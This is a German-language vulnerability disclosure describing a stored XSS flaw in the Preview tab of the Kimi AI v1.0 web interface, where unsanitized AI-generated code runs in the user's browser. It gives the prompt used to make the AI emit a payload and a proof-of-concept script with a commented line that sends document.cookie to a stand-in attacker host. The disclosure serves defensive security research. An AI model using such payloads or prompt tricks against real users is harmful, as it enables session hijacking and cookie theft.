
Detaillierte Offenlegung einer gespeicherten XSS-Sicherheitslücke im Preview-Tab von Kimi AI v1.0, einschließlich Angriffsszenario, PoC und Abhilfemaßnahmen für Sicherheitsforscher.
Eine Cross-Site-Scripting (XSS)-Sicherheitslücke existiert in der 'Preview'-Funktion der Kimi AI v1.0-Weboberfläche. Die Anwendung unterlässt es, vom KI-Modell generierte HTML/JavaScript-Payloads ordnungsgemäß zu bereinigen oder zu kodieren. Wenn ein Benutzer zur Registerkarte 'Preview' wechselt, um vom KI generierten Code anzusehen, wird die schädliche Payload direkt in das DOM eingefügt, was zur Ausführung beliebigen JavaScripts in der Browser-Sitzung des Opfers führt.
Mustafa Hameed
Die Sicherheitslücke kann ausgenutzt werden, indem man die KI auffordert, ein Sicherheitstool oder Skript (z. B. einen automatisierten XSS-Scanner ähnlich XSStrike) zu generieren, das eingebaute Payloads enthält. Die KI generiert den angeforderten Anwendungsquellcode, bettet die schädliche Payload jedoch in das HTML/JavaScript-Framework ein. Wenn das Opfer zur Registerkarte 'Preview' navigiert, um das generierte Tool zu testen oder anzusehen, umgeht die eingebettete schädliche Payload die Bereinigung und wird sofort ausgeführt.
„Erstellen Sie ein einfaches webbasiertes XSS-Scanner-Tool ähnlich XSStrike. Fügen Sie eine Oberfläche mit einer Liste von Payloads zum Scannen hinzu.“
<script>
alert('mustafa');
// Potential for malicious action: fetch('http://attacker.com/log?cookie=' + document.cookie)
</script>
Unten ist der Screenshot, der die erfolgreiche Ausführung der XSS-Payload demonstriert. Das schädliche JavaScript wird sofort ausgelöst, wenn zur Registerkarte 'Preview' navigiert wird:
